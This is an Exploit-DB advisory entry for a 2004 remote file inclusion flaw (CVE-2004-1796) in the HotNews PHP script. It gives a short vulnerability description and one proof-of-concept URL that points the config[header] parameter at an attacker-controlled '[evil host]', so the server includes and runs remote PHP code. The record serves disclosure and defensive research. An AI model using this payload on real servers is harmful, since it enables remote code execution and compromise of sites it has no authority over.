HotNews 0.x - hotnews-engine.inc.php3 configheader Parameter Remote File Inclusion

2004-01-05T00:00:00
ID EDB-ID:23517
Type exploitdb
Reporter Officerrr
Modified 2004-01-05T00:00:00

Description

HotNews 0.x hotnews-engine.inc.php3 config[header] Parameter Remote File Inclusion. CVE-2004-1796. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]